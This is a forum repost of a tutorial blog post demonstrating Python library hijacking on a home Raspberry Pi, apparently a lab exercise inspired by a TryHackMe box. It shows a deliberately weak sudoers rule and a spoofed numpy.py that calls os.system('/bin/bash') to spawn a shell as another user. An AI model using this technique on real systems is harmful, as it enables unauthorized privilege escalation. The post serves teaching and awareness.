![]() |
|
[Tut] Python Library Hijacking – A Simple Demonstration on NumPy - Printable Version +- Sick Gaming (https://sickgaming.net) +-- Forum: Programming (https://sickgaming.net/forum-76.html) +--- Forum: Python (https://sickgaming.net/forum-83.html) +--- Thread: [Tut] Python Library Hijacking – A Simple Demonstration on NumPy (/thread-100269.html) |
[Tut] Python Library Hijacking – A Simple Demonstration on NumPy - xSicKxBot - 11-22-2022 Python Library Hijacking – A Simple Demonstration on NumPy 5/5 – (1 vote) In this blog post, I’ll show you how recreated a Python library hijacking vulnerability on my home network. ![]() The Wonderland box on TryHackMe was the inspiration for exploring this kind of vulnerability. In my previous Wonderland walkthrough blog post, I highlighted an example of exploiting the ‘ Code: randomIn this post, I’ll guide you through the setup and execution of the exploit. You can also watch the accompanying video tutorial here: What is Python Library Hijacking? ![]() When a user has permission to run a file as another user it is possible to create a spoof file that Python will load instead of the originally intended module or library. The necessary conditions for Python library hijacking are:
Setup ![]() In order to re-create this vulnerability, I had to learn how to set up the above conditions for the exploit. On my home network, I have a Raspberry Pi 3b running DietPi operating system. Originally I set this up to run Pi-hole to filter ads out from my home network. In order to set up the permissions to run a file as another user I edited the sudoers file with Code: visudoVisudo is a special editor specifically for editing the sudoers file. It only allows one user to edit the file at a time, and also checks user edits for correct syntax. I created a file called ‘ Code: checkmypermissions.pyCode: vulnerableuser![]() To do this I used the command ‘ Code: sudo visudoCode: # User privilege specification
root ALL=(ALL:ALL) ALL
vulnerableuser ALL=(ben:1001) /usr/bin/python3 /home/vulnerableuser/checkmypermissions.pyThe nice thing about Code: visudoThis functionality helped me save time getting the correct spacing and punctuation on the new sudoers line. Running the Exploit ![]() Once the permissions were set up I ssh’d into Code: vulnerableuser@<raspberry pi IP>Code: sudo -l![]() The line above Code: (ben : 1001) /usr/bin/python3 /home/vulnerableuser/checkmypermissions.pyCode: vulnerableuserCode: checkmypermissions.pyAll that is left to do is to check the Python PATH to make sure that it checks first in the current directory, and then create a python file named Code: numpy.pyPython Code: import sys
sys.pathIn the example below, we can see that the python PATH is already set to search in the current working directory ( Code: ''![]() Next we create the Code: numpy.pyCode: nano numpy.pyCode: import os
os.system("/bin/bash")It is important to first set up execute permissions on the spoofed Code: numpy.pyCode: chmod +x numpy.pyNow we can carry out the python library hijack and spawn a shell as user ben without knowing their password by running the following command: Code: sudo -u ben /usr/bin/python3 /home/vulnerableuser/checkmypermissions.py ![]() Learning #1 I learned that Visudo is a special editor within Linux to change the sudoers file Code: /etc/sudoersIt helps check formatting to avoid any errors or crashes from poorly written lines. The sudoers file allows the root user to granularize user permissions with the sudoers file on Linux. Learning #2 Granting run as another user file permissions can expose a machine to library hijacking vulnerabilities. Running Code: sudo -lLearning #3 I found that it is helpful to compile a custom shortlist of Python and bash commands new to me for each project. I borrowed this strategy from my experience with language learning. Over the years, I’ve improved my Mandarin by taking notes on new vocabulary words and grammar patterns. When working on a new topic area I would always create my own custom grammar and vocabulary lists for reference. I’ve found that the simple act of focusing on recording a list helps to cement my learning and creates a nice reference for later use. |